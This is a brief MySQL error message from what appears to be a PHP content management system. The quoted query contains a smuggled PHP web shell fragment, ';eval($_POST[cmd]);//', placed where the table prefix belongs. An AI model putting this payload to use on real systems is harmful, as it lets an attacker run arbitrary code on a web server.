You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '';eval($_POST[cmd]);//enewsmod where usemod=0 and showmod=0 and qenter<>'' order' at line 1 select mid,qmname from ***_enewsmod where usemod=0 and showmod=0 and qenter<>'' order by myorder,mid